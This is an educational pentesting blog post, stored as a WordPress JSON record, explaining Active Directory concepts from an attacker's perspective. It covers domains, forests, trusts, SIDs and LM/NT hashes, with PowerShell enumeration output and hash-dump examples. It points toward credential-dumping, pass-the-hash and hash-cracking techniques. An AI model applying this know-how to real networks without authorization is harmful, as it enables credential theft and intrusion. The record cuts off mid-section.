{"id":8651,"date":"2021-06-02T17:39:20","date_gmt":"2021-06-02T15:39:20","guid":{"rendered":"https:\/\/tajdini.net\/blog\/?p=8651"},"modified":"2021-06-04T22:37:06","modified_gmt":"2021-06-04T20:37:06","slug":"pentest-windows-active-directory","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/governance-risk-and-compliance\/pentest-windows-active-directory\/","title":{"rendered":"Deep-dive into Windows Active Directory for Penetesters !"},"content":{"rendered":"<p><main><\/p>\n<h2 id=\"why-this-post\">\nWhy this post?<\/h2>\n<p>The purpose of this guide is to view Active Directory from an attacker<br \/>\nperspective. I will try to review different aspects of Active Directory and<br \/>\nthose terms that every pentester should control in order to understand the<br \/>\nattacks that can be performed in a Active Directory network.<\/p>\n<p>In order to understand how to attack Active Directory (and any other<br \/>\ntechnology), I think is important to not only know the tools, but how the<br \/>\ntools work, what protocols\/mechanisms they use, and why these<br \/>\nmechanisms\/protocols exist.<\/p>\n<p>The information present here come from open sources and my own experience<br \/>\nwith Active Directory. However, I cannot be certain that everything stated here<br \/>\nis correct, so you are encourage to perform your own test and in case you found<br \/>\nany error, please let me know.<\/p>\n<p>Moreover, I know that not everything about Active Directory is covered here, but it<br \/>\nis my intention to cover at least the basic knowledge required to understand<br \/>\nActive Directory and their attacks, and expand this source in the future. So, if<br \/>\nyou feel that I miss something that a pentester should know related Active<br \/>\nDirectory, please let me know.<\/p>\n<p>Disclaimer: This is done for educational purposes, and you should only apply the<br \/>\nattacks described here to systems that you have permission for.<\/p>\n<p>I tried to explain the topics present here as well as I could. However, every<br \/>\ntopic is complex, so I put as many references to external resources as I could.<br \/>\n<strong>My major intention is to collect all of the Active Directory topics in a single<br \/>\nplace<\/strong> that can be use to consult attacks\/protocols\/techniques, more than<br \/>\nexplain every single detail of an specific technique (even if I try to do it).<br \/>\nSo you are totally encourage to follow the hyperlinks to discover more about and<br \/>\nspecific topic, there are great resources out there.<\/p>\n<p>By the way, <strong>I would like to thank to all of the content creators<\/strong> that over the<br \/>\nyears have share knowledge with the community through tools, blogs, conference<br \/>\ntalks, etc. I have consult so many resources that it would be impossible for me<br \/>\nto thank all the content creators one by one, but if you found a link to one of<br \/>\nyour resources or a resource you have collaborated directly (by adding a<br \/>\nfeature to a tool, or helping your friend to write the post) or indirectly (for<br \/>\nexample creating a library\/snippet\/language\/OS\/IDE\/editor that is used by a<br \/>\ntool or a blog that is used as basis for a post linked here), <strong>thank you<\/strong>.<\/p>\n<blockquote><p>Throughout the article I will user Powershell to show how to retrieve<br \/>\ninformation of Active Directory. For that purpose I will use the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=windowsserver2019-ps\">ActiveDirectory Powershell module<\/a>, but other tools like <a href=\"https:\/\/github.com\/BC-SECURITY\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a> or <a href=\"https:\/\/docs.ldap.com\/ldap-sdk\/docs\/tool-usages\/ldapsearch.html\">ldapsearch<\/a><br \/>\ncan be used instead.<\/p><\/blockquote>\n<p>Now, let&#8217;s get to the point.<\/p>\n<h2 id=\"what-is-active-directory\">\nWhat is Active Directory?<\/h2>\n<p>From my perspective, Active Directory is a system that allows to manage a set<br \/>\nof computers and users connected in the same network from a central server.<\/p>\n<p>Sure, this definition is far from being totally accurate, but I hope it is<br \/>\nsimple enough to give you an idea of what AD is.<\/p>\n<figure>\n<pre>       ____                         __ \n  o   |    |                       |==|\n \/|  |____| &lt;--------.    .-----&gt; |  |\n \/   \/::::\/          |    |       |__|\n                      v    v\n                       .---.\n                      \/   \/|\n                     .---. |\n                     |   | '\n                     |   |\/ \n                     '---'  \n       ____          ^    ^        ____ \n  o   |    |         |    |       |    |  o\/\n \/|  |____| &lt;-------'    '-----&gt; |____|   | \n \/   \/::::\/                      \/::::\/  \/ \n<\/pre><figcaption>\nActive Directory network<br \/>\n<\/figcaption><\/figure>\n<p>Imagine a company with hundreds of employees, where each one works in its own<br \/>\n(probably Windows) computer. This company has several different departments,<br \/>\nlike sales, human resources, IT, etc.<\/p>\n<p>Now imagine that the sales department requires a new program to be installed in<br \/>\ntheir workstations. Or that each day an user in a different office forgets its<br \/>\npassword and it needs to be restored. Or that the new group of interns are<br \/>\nonly required to work with a few documents of a file server.<\/p>\n<p>Should the IT team install the program in all the sales workstations, one by<br \/>\none? Should they go to the different offices and restore the user password?<br \/>\nShould they create a new user for each intern in the file server that allows<br \/>\nonly to see files in a directory?<\/p>\n<p>Well, they could do that, though I would be a lot of work (and a waste of money<br \/>\nfor the company). But since they are smart people, they have all the computers<br \/>\nconnected in an Active Directory network, so they can perform all these<br \/>\noperations from their workstation.<\/p>\n<p>Active Directory allows this by maintaining a centralized database where all the<br \/>\ninformation about users, computers, policies, permissions, etc, is stored. So,<br \/>\nfor example, the IT team can connect to this database and create the new users<br \/>\nfor the interns and assign permissions to them to be only allowed to read files<br \/>\nin the indicated directories of the specific servers of their departments.<\/p>\n<p>Then, when one of these interns tries to login to a computer inside the Active<br \/>\nDirectory network, the computer consults the central database in order to check<br \/>\nthat the intern user exists (and that the password is correct). This way, users<br \/>\ncan log on to any of the company computers (if they have permissions), by<br \/>\nallowing employees to use only a user to do all its work in all the company<br \/>\ncomputers (that can be workstations, database servers, file servers, etc).<\/p>\n<p>Likewise, in case a user forgets is password, she can alert to the IT team, and<br \/>\nthey can change the user password in this central database (and the user is<br \/>\nasked to change this password to a new one that only she knows).<\/p>\n<p>In the case of the sales department, the IT can create a new policy in the<br \/>\ndatabase which indicates that computers of that department must install the<br \/>\nindicated program, and how they must do it. Then, when sales workstation read<br \/>\nthe database, they will know that they must execute this policy and the new<br \/>\nprogram will be installed.<\/p>\n<p>I hope this example allows you to understand why Active Directory is so useful<br \/>\nand why almost any (medium-big) organization in the world uses it. Probably you<br \/>\nhave used it, normally from a computer that requires you to press Ctrl+Alt+Del<br \/>\nbefore prompts you for your username and password.<\/p>\n<p>And\u2026 what happens if someone can steal the password of an IT user? Could she<br \/>\nchange the other users passwords? And access to the database?<\/p>\n<p>Now that is clear why Active Directory is so important, let&#8217;s introduce their<br \/>\nitems.<\/p>\n<h2 id=\"domains\">\nDomains<\/h2>\n<p>First of all, what we have been calling an Active Directory network is what is<br \/>\nusually known as a <strong>Domain<\/strong>. A domain is a set of connected computers that<br \/>\nshares an Active Directory database, which is managed by the central servers of<br \/>\na domain, that are called <strong>Domain Controllers<\/strong>.<\/p>\n<h3 id=\"domain-name\">\nDomain name<\/h3>\n<p>Each domain has a DNS name. In many companies, the name of the<br \/>\ndomain is the same as their web site, for example <code>contoso.com<\/code>, while others<br \/>\nhave a different internal domain such as <code>contoso.local<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; $env:USERDNSDOMAIN\nCONTOSO.LOCAL\nPS C:Usersmahyar&gt; (Get-ADDomain).DNSRoot\ncontoso.local<\/code><\/pre><figcaption>\nIdentify current user domain from Powershell<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; (Get-WmiObject Win32_ComputerSystem).Domain\ncontoso.local<\/code><\/pre><figcaption>\nIdentify current computer domain from Powershell<br \/>\n<\/figcaption><\/figure>\n<p>In addition to its <strong>DNS name<\/strong>, every domain can also being identified with NetBIOS<br \/>\nname. For example, the domain <code>contoso.local<\/code> could have the <strong>NetBIOS name<\/strong><br \/>\n<code>CONTOSO<\/code>. You can see the NetBIOS name being used in log in operations, where the<br \/>\nuser is identified with something like <code>CONTOSOAdministrator<\/code>, where the first<br \/>\npart is the NetBIOS name and the second one is the username.<\/p>\n<p>Finally, a domain can be identified by an <strong>SID<\/strong> (Security Identifier). The SID is<br \/>\nmore used by programs (using the Windows API) than users, but you should know<br \/>\nhow to obtain in case you require it.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADDomain | select DNSRoot,NetBIOSName,DomainSID\nDNSRoot       NetBIOSName DomainSID\n-------       ----------- ---------\ncontoso.local CONTOSO     S-1-5-21-1372086773-2238746523-2939299801<\/code><\/pre><figcaption>\nGet DNS name, NetBIOS name and SID of domain<br \/>\n<\/figcaption><\/figure>\n<h2 id=\"forests\">\nForests<\/h2>\n<p>Using a DNS name is very useful, since it allows to specific subdomains<br \/>\nbeing created for management purposes. For example, a company can have a <strong>root<br \/>\ndomain<\/strong> called <code>contoso.local<\/code>, and then subdomains for different (usually big)<br \/>\ndepartments, like <code>it.contoso.local<\/code> or <code>sales.contoso.local<\/code>.<\/p>\n<blockquote><p>Active Directory offers many ways to organize your infrastructure, as you will<br \/>\nnotice, so how an organization uses subdomains varies from one to another, some<br \/>\ncreate subdomains for departments, while others use them for different offices.<\/p><\/blockquote>\n<figure>\n<pre>              contoso.local\n                    |\n            .-------'--------.\n            |                |\n            |                |\n     it.contoso.local hr.contoso.local\n            | \n            |\n            |\n  webs.it.contoso.local\n<\/pre><figcaption>\ncontoso.local forest.<br \/>\n<\/figcaption><\/figure>\n<p>This tree of domains is known as <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/ad\/forests\"><strong>Forest<\/strong><\/a>. The name of the forest is the same as<br \/>\nthe name of the root domain of the tree.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADForest\nApplicationPartitions : {DC=DomainDnsZones,DC=contoso,DC=local, DC=ForestDnsZones,DC=contoso,DC=local}\nCrossForestReferences : {}\nDomainNamingMaster    : dc01.contoso.local\nDomains               : {contoso.local}\nForestMode            : Windows2016Forest\nGlobalCatalogs        : {dc01.contoso.local, dc02.contoso.local}\nName                  : contoso.local\nPartitionsContainer   : CN=Partitions,CN=Configuration,DC=contoso,DC=local\nRootDomain            : contoso.local\nSchemaMaster          : dc01.contoso.local\nSites                 : {Default-First-Site-Name}\nSPNSuffixes           : {}\nUPNSuffixes           : {}<\/code><\/pre><figcaption>\nForest information with Get-ADForest<br \/>\n<\/figcaption><\/figure>\n<p>In a forest, each domain has its own database and its own Domain Controllers.<br \/>\nHowever, <strong>users of a domain in the forest can also access to the other domains<\/strong><br \/>\nof the forest.<\/p>\n<p>This implies that, even if a domain can be autonomous, without the need to<br \/>\ninteract with other domains, it is not isolated from a security perspective. The<br \/>\nlogical structure that can provide security isolation is the forest.<\/p>\n<p>As I said before, <strong>each domain have its own Domain Controllers<\/strong>, so if a<br \/>\ndepartment grows incredibly, you may need dedicated Domain Controllers that<br \/>\nprocess the requests of all computers in that department. You can achieve that<br \/>\nby creating a new subdomain, and the users will still be able to access<br \/>\ncomputers in others subdomains of the same forest.<\/p>\n<h3 id=\"functional-modes\">\nFunctional Modes<\/h3>\n<p>As well as Windows computers, domains\/forest can also have their own &#8220;version&#8221;,<br \/>\nthat is called <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/identity\/raise-active-directory-domain-forest-functional-levels\">functional mode<\/a>. Depending on the mode of the domain\/forest, new<br \/>\ncharacteristics can be used.<\/p>\n<p>The modes are named based on the minimum Windows Server operative system required<br \/>\nto work with them. There are the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/564dc969-6db3-49b3-891a-f2f8d0a68a7f\">following functional modes<\/a>:<\/p>\n<ul>\n<li>Windows2000<\/li>\n<li>Windows2000MixedDomains<\/li>\n<li>Windows2003<\/li>\n<li>Windows2008<\/li>\n<li>Windows2008R2<\/li>\n<li>Windows2012<\/li>\n<li>Windows2012R2<\/li>\n<li>Windows2016<\/li>\n<\/ul>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministratorDownloads&gt; (Get-ADForest).ForestMode\nWindows2016Forest\nPS C:UsersAdministratorDownloads&gt; (Get-ADDomain).DomainMode\nWindows2016Domain<\/code><\/pre><figcaption>\nGet the mode of the forest\/domain<br \/>\n<\/figcaption><\/figure>\n<p>Then if, for example, you found a domain\/forest with Windows2012 mode, you can<br \/>\nknow that all the Domain Controllers are at least Windows Server 2012. You must<br \/>\nbe aware of the mode in order to use some characteristics of the domain, for<br \/>\nexample, the <code>Protected Users<\/code> group requires a Windows2012R2 mode.<\/p>\n<h2 id=\"trusts\">\nTrusts<\/h2>\n<p>The users can access to another domains in the same forests because they are<br \/>\nlinked by connections called <strong>Trusts<\/strong>.<\/p>\n<p><a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-r2-and-2008\/cc731335(v=ws.10)\">A trust is a connection from a domain to another<\/a>. Not a physical network<br \/>\nconnection, but a kind of authentication\/authorization connection. You may be<br \/>\nable to reach computers on the network that are in others domains, but you<br \/>\ncannot log in on those computers with your user of this domain. That is what a<br \/>\ntrust allows you to do.<\/p>\n<h3 id=\"trust-direction\">\nTrust direction<\/h3>\n<p>A trust is a directed relation where one side is the trusting and the other the<br \/>\ntrusted. When this link is established, the users of the trusted domain can<br \/>\naccess to the resources of the trusting domain.<\/p>\n<p>The <strong><a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-r2-and-2008\/cc731404(v=ws.10)\">trust direction<\/a> is the opposite to the access direction<\/strong>. You can think that<br \/>\nif you trust your friend, you allow her to access to your house and eat your<br \/>\nfood when she needs it.<\/p>\n<figure>\n<pre> (trusting)         trusts        (trusted)\n  Domain A  --------------------&gt;  Domain B\n       outgoing               incoming\n       outbound               inbound\n                    access\n            &lt;--------------------\n<\/pre><figcaption>\nTrust from Domain A to Domain B<br \/>\n<\/figcaption><\/figure>\n<p>When a trust is directed through your current domain in called an Inbound or<br \/>\nIncoming trust. <strong>Incoming trusts allow users of your domain to access the other<br \/>\ndomain<\/strong>.<\/p>\n<p>On the other hand there are Outbound or Outgoing trusts, that go from your<br \/>\ndomain to the other. Therefore the users of the other domain can access to your<br \/>\ndomain.<\/p>\n<p>And when two domains are connected by both an incoming and an outgoing<br \/>\ntrust, it is said that they are linked by a bidirectional trust (even if there<br \/>\nare really two trusts).<\/p>\n<p>You can see the trusts of your domain with <code>nltest \/domain_trusts<\/code>.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:UsersAdministrator&gt; nltest \/domain_trusts\nList of domain trusts:\n    0: CONTOSO contoso.local (NT 5) (Direct Outbound) ( Attr: foresttrans )\n    1: ITPOKEMON it.poke.mon (NT 5) (Forest: 2) (Direct Outbound) (Direct Inbound) ( Attr: withinforest )\n    2: POKEMON poke.mon (NT 5) (Forest Tree Root) (Primary Domain) (Native)\nThe command completed successfully<\/code><\/pre><figcaption>\nTrusts of poke.mon domain<br \/>\n<\/figcaption><\/figure>\n<p>Here we can see that our current domain is <code>poke.mon<\/code> (cause of the<br \/>\n<code>(Primary Domain)<\/code> attribute) and there are a couple of trusts. The outbound<br \/>\ntrust with <code>contoso.local<\/code> indicates that its users can access to our domain,<br \/>\n<code>poke.mon<\/code>. Moreover, there is a second bidirectional trust with <code>it.poke.mon<\/code><br \/>\nthat is a subdomain of <code>poke.mon<\/code> and it is in the same forest.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; nltest \/domain_trusts\nList of domain trusts:\n    0: POKEMON poke.mon (NT 5) (Direct Inbound) ( Attr: foresttrans )\n    1: CONTOSO contoso.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)\nThe command completed successfully<\/code><\/pre><figcaption>\nTrusts of contoso.local<br \/>\n<\/figcaption><\/figure>\n<p>Consequently, if we check the trust of <code>contoso.local<\/code>, we can see an inbound<br \/>\nconnection from <code>poke.mon<\/code>, which is consistent with the previous information.<br \/>\nSo users of <code>contoso.local<\/code> can access to <code>poke.mon<\/code>.<\/p>\n<h3 id=\"trust transitivity\">\nTrust transitivity<\/h3>\n<p>Moreover, a <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-r2-and-2008\/cc754612(v=ws.10)\">trust can be transitive or nontransitive<\/a>. A nontransitive trust can<br \/>\nonly be used by the two sides of the trust, the trusting and the<br \/>\ntrusted. Whereas a transitive trust can act as a bridge and being used for third<br \/>\ndomains connected with the domains that are connected by the transitive trust.<\/p>\n<figure>\n<pre>      (trusting)   trusts   (trusted)  (trusting)   trusts   (trusted)\n  Domain A  -------------------&gt;  Domain B --------------------&gt; Domain C\n                    access                          access\n            &lt;-------------------           &lt;--------------------\n<\/pre><figcaption>\nThree domains connected by trusts<br \/>\n<\/figcaption><\/figure>\n<p>For example, if the trust between <code>Domain A<\/code> and <code>Domain B<\/code> is transitive, then<br \/>\nthe users of <code>Domain C<\/code> can access to <code>Domain A<\/code> by traversing both trusts. If<br \/>\nthe <code>Domain A --&gt; Domain B<\/code> trust was nontransitive, the <code>Domain C<\/code> users couldn&#8217;t<br \/>\naccess to <code>Domain A<\/code>, but <code>Domain B<\/code> users could.<\/p>\n<p>Therefore, in relation with the domains in the same forest , all the domains<br \/>\nusers can access to other domains cause the all the parent and child domains are<br \/>\nconnected through bidirectional transitive trusts. This way, any domain of the<br \/>\nforest can travel the required trusts to access to other domain in the same<br \/>\nforests.<\/p>\n<p>In a forest, to allow access from any domain to any other, all the parents and<br \/>\nchildren are connected by a bidirectional transitive trust.<\/p>\n<figure>\n<pre>              contoso.local\n               ^  v   v  ^  \n          .----'  |   |  '----.\n          |  .----'   '----.  |\n          ^  v             v  ^\n     it.contoso.local hr.contoso.local\n          ^  v \n          |  |\n          ^  v\n  webs.it.contoso.local\n<\/pre><figcaption>\ncontoso.local forest trusts<br \/>\n<\/figcaption><\/figure>\n<p>So to access to computers of <code>hr.contoso.local<\/code>, an user of<br \/>\n<code>webs.it.contoso.local<\/code> must traverse three trusts.<\/p>\n<h3 id=\"trust-types\">\nTrust types<\/h3>\n<p>In Active Directory there are several <a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2008-r2-and-2008\/cc730798(v=ws.10)#trust-types\">trust types<\/a> for different purposes:<\/p>\n<ul>\n<li><strong>Parent-Child<\/strong>: The default trusts created between a parent domain and its<br \/>\nchild.<\/li>\n<li><strong>Forest<\/strong>: A trust to share resources between forests. This way any domain of the<br \/>\nforest can access to any domain on the other forest (if the direction and<br \/>\ntransitivity of the trust allow it). If a forest trust is misconfigured, then<br \/>\nit can allow to <a href=\"http:\/\/www.harmj0y.net\/blog\/redteaming\/not-a-security-boundary-breaking-forest-trusts\/\">take control of the other forest<\/a>.<\/li>\n<li><strong>External<\/strong>: A trust to connect with an specific domain that is in a non trusted<br \/>\nforest.<\/li>\n<li><strong>Realm<\/strong>: An special trust to connect Active Directory and a non-Windows domain.<\/li>\n<li><strong>Shortcut<\/strong>: When two domains within the forest communicate often but are not<br \/>\ndirectly connected, you can avoid jumping over many trusts by creating a<br \/>\ndirect shortcut trust.<\/li>\n<\/ul>\n<h3 id=\"trust-key\">\nTrust key<\/h3>\n<p>Technically, when you use a trust, there is a communication between the domain<br \/>\ncontroller of your domain and the domain controller of the target domain (or of<br \/>\nan intermediary domain).<\/p>\n<p>How communication is made varies depending of the protocol that is being used<br \/>\n(which could be NTLM, Kerberos, etc), but in any case, the domain controllers<br \/>\nneeds to share a key to keep the communications secure. This key is known as the<br \/>\ntrust key and it&#8217;s created when the trust is established.<\/p>\n<p>When a trust is created, a <a href=\"#trust-accounts\">trust account<\/a> is created in the domain database as if it<br \/>\nwere an user (with the name finished in <code>$<\/code>). The trust key is then stored as if<br \/>\nit were the password of the trust user (in the <a href=\"#lm-nt-hash\">NT hash<\/a> and <a href=\"#user-kerberos-keys\">Kerberos keys<\/a>).<\/p>\n<h3 id=\"more-on-trusts\">\nMore on trusts<\/h3>\n<p>To known how trusts can be abused in a pentest, you can check the following<br \/>\nposts (a little knowledge in Kerberos is also recommended to read them):<\/p>\n<ul>\n<li><a href=\"https:\/\/adsecurity.org\/?p=1588\">It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts<\/a><\/li>\n<li><a href=\"http:\/\/www.harmj0y.net\/blog\/redteaming\/a-guide-to-attacking-domain-trusts\/\">A Guide to Attacking Domain Trusts<\/a><\/li>\n<li><a href=\"https:\/\/dirkjanm.io\/active-directory-forest-trusts-part-one-how-does-sid-filtering-work\/\">Active Directory forest trusts part 1 &#8211; How does SID filtering work?<\/a><\/li>\n<li><a href=\"https:\/\/blog.xpnsec.com\/inter-realm-key-roasting\/\">Inter-Realm Key Roasting (well\u2026 within the first 30 days)<\/a><\/li>\n<li><a href=\"http:\/\/www.harmj0y.net\/blog\/redteaming\/not-a-security-boundary-breaking-forest-trusts\/\">Not A Security Boundary: Breaking Forest Trusts<\/a><\/li>\n<\/ul>\n<h2 id=\"users\">\nUsers<\/h2>\n<p>One of the key points for using Active Directory is the users management. Every<br \/>\norganization manages its users in different ways, setting for them name formats,<br \/>\nassigning different permissions, etc.<\/p>\n<p>To easily manage the users in Active Directory, their are stored as a objects in<br \/>\nthe central <a href=\"#database\">database<\/a> that can be consulted and manipulated from any point of the<br \/>\ndomain (if you have enough rights).<\/p>\n<h3 id=\"user-properties\">\nUser properties<\/h3>\n<h4 id=\"user-identifiers\">\nUser Identifiers<\/h4>\n<p>The user object stores many different data, but the first attributes to be taken<br \/>\ninto account are those that allows us to identify an user.<\/p>\n<p>For identifying an user usually the username is used, that is stored in the<br \/>\n<strong>SamAccountName<\/strong> attribute. Additionally, the <strong>SID<\/strong> (Security Identifier) can also<br \/>\nbe used to identifying the user.<\/p>\n<p>The user SID is similar to the domain SID, and, in fact is the combination of<br \/>\nthe domain SID plus the user RID (Relative Identifier), which is the last number<br \/>\nthat appears in the user SID.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\">PS C:Usersmahyar&gt; Get-ADUser mahyar\nDistinguishedName : CN=mahyar,CN=Users,DC=contoso,DC=local\nEnabled           : True\nGivenName         : mahyar\nName              : mahyar\nObjectClass       : user\nObjectGUID        : 58ab0512-9c96-4e97-bf53-019e86fd3ed7\nSamAccountName    : mahyar\nSID               : S-1-5-21-1372086773-2238746523-2939299801-1103\nSurname           :\nUserPrincipalName : mahyar@contoso.local<\/code><\/pre><figcaption>\nGet user information<br \/>\n<\/figcaption><\/figure>\n<p>In this case the domain SID is <code>S-1-5-21-1372086773-2238746523-2939299801<\/code> and<br \/>\nthe user RID is <code>1103<\/code>. Some tools display the SID in their output instead of<br \/>\nthe username (since its used in some structures like <a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/winnt\/ns-winnt-security_descriptor\">security descriptors<\/a>), so<br \/>\nyou should be aware of its format in order to identify it.<\/p>\n<p>Also, the <code>DistinguishedName<\/code> is used by the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/previous-versions\/windows\/desktop\/ldap\/distinguished-names\">LDAP API to identify the objects<\/a>, so if you query the database by using LDAP<br \/>\n(which is one of the most common ways) you will probably see references to<br \/>\nobjects through its <code>DistinguishedName<\/code>.<\/p>\n<h4 id=\"user-secrets\">\nUser Secrets<\/h4>\n<p>Moreover, the database also needs to store the user secrets in order to allow<br \/>\nthe Domain Controller to authenticate the user. The user password is not stored<br \/>\nin plaintext, but the following secrets derived from it are saved:<\/p>\n<ul>\n<li>NT hash (and LM hash for the older accounts)<\/li>\n<li>Kerberos keys<\/li>\n<\/ul>\n<p>Needless to say, that user secrets cannot be retrieved by non admin users.<br \/>\nNo even the domain computers can access to them, but leave the authentication to<br \/>\nthe Domain Controller.<\/p>\n<p>In order to get the user secrets, you need administrator privileges (or<br \/>\nequivalent) to <a href=\"#domain-database-dumping\">dump the domain database<\/a> with a dcsync attack or grabbing the<br \/>\n<code>C:WindowsNTDSntds.dit<\/code> file from the Domain Controller.<\/p>\n<h5 id=\"lm-nt-hashes\">\nLM\/NT hashes<\/h5>\n<p>The <a href=\"https:\/\/medium.com\/@petergombos\/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4\">LM and NT hashes<\/a> are stored both in Windows local <a href=\"https:\/\/en.wikipedia.org\/wiki\/Security_Account_Manager\">SAM<\/a> and Active Directory<br \/>\nNTDS databases to authenticate the local and domain users, respectively. These<br \/>\nhashes, both LM and NT are 16 bytes long.<\/p>\n<figure>\n<pre>Password: 123456\nLM hash: 44EFCE164AB921CAAAD3B435B51404EE\nNT hash: 32ED87BDB5FDC5E9CBA88547376818D4\n<\/pre><figcaption>\nLM and NT hashes of a password<br \/>\n<\/figcaption><\/figure>\n<p>However, <a href=\"https:\/\/en.wikipedia.org\/wiki\/LAN_Manager#Security_weaknesses\">LM hashes are pretty weak<\/a> so they are not used since Windows<br \/>\nVista\/Server 2008. The <a href=\"https:\/\/asecuritysite.com\/encryption\/lmhash\">procedure to create an LM hash<\/a> is the following:<\/p>\n<ol>\n<li>Convert the user password into uppercase. (This reduces the search space for<br \/>\na bruteforce attack).<\/li>\n<li>If the user password is less than 14 characters is padded with NULL<br \/>\ncharacters until the length is 14. If the password is more than 14<br \/>\ncharacters, then is truncated. (Is useless to have passwords of more than 14<br \/>\ncharacters).<\/li>\n<li>The password is then split in two strings of 7 bytes each one.<\/li>\n<li>Each 7-bytes string is used as key to encrypt the <code>KGS!+#$%<\/code> string using the<br \/>\nDES cryptographic algorithm. This result in two hashes.<\/li>\n<li>The resultant two values are concatenated in order to form the LM hash. (You<br \/>\ncan crack each part separately)<\/li>\n<\/ol>\n<figure>\n<pre>upper_password = to_uppercase(password)\n14_password = truncate_to_14_bytes(upper_password)\n7_part1, 7_part2 = split_7(14_password)\nhash1 = des(7_part1, \"KGS!+#$%\")\nhash2 = des(7_part2, \"KGS!+#$%\")\nlm_hash = hash1 + hash2\n<\/pre><figcaption>\nLM hash calculation pseudocode<br \/>\n<\/figcaption><\/figure>\n<p>On the other hand, the NT hash is a little stronger, but a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Salt_(cryptography)\">salt<\/a> is not used to<br \/>\ncalculate it, so it can be cracked by using precomputed values<br \/>\n(like <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rainbow_table\">rainbow tables<\/a>).<\/p>\n<p>If you are curious, the NT hash is calculated by applying the <a href=\"https:\/\/en.wikipedia.org\/wiki\/MD4\">MD4<\/a> algorithm<br \/>\n(that <a href=\"https:\/\/tools.ietf.org\/html\/rfc6150\">is obsolete<\/a>) directly to the Unicode version (specifically the UTF-16LE<br \/>\nencoding) of the user password.<\/p>\n<figure>\n<pre>nt_hash = md4(encode_in_utf_16le(password))\n<\/pre><figcaption>\nNT hash calculation pseudocode<br \/>\n<\/figcaption><\/figure>\n<blockquote><p>Many times the NT hash is called NTLM hash, however this can be confusing<br \/>\nsince the NTLM protocol also use hashes, called NTLM hashes. In this article an<br \/>\nNTLM hash will be a hash of the NTLM protocol.<\/p><\/blockquote>\n<p>Many tools allow you to extract the LM and NT hashes, and they usually return an<br \/>\noutput with several lines, one per user, with the format<br \/>\n<code>&lt;username&gt;:&lt;rid&gt;:&lt;LM&gt;:&lt;NT&gt;:::<\/code>. In case of LM is not being used, its value will<br \/>\nbe <code>aad3b435b51404eeaad3b435b51404ee<\/code> (the LM hash of an empty string).<\/p>\n<figure>\n<pre>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6:::\nuser:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70:::\n<\/pre><figcaption>\nHashes dump format<br \/>\n<\/figcaption><\/figure>\n<p>It is important for a pentester to recognize NT hashes since, even they are not<br \/>\nthe user passwords, are used for authenticate in Windows machines, so they are<br \/>\nvery useful. They can be used to perform <a href=\"#pass-the-hash\">Pass-The-Hash<\/a> or <a href=\"#pass-the-key\">Overpass-the-Hash<\/a><br \/>\nattacks in order to impersonate users in remote machines.<\/p>\n<p>Additionally, you can try to crack the LM and NT hashes with <a href=\"https:\/\/hashcat.net\/\">hashcat<\/a> to recover<br \/>\nthe original password. If you are lucky and the LM hash is present, this should<br \/>\nbe quickly.<\/p>\n<h5 id=\"user-kerberos-keys\">\nKerberos keys<\/h5>\n<p>Apart from the LM\/NT hashes, the <strong>Kerberos keys<\/strong>, derived from the user<br \/>\npassword and used in the Kerberos authentication protocol, are stored.<\/p>\n<p>The Kerberos keys can be used to ask for a Kerberos ticket that represents the<br \/>\nuser in Kerberos authentication. There are several different keys, and different<br \/>\nones are used for different Kerberos encryption support:<\/p>\n<ul>\n<li>AES 256 key: Used by the <a 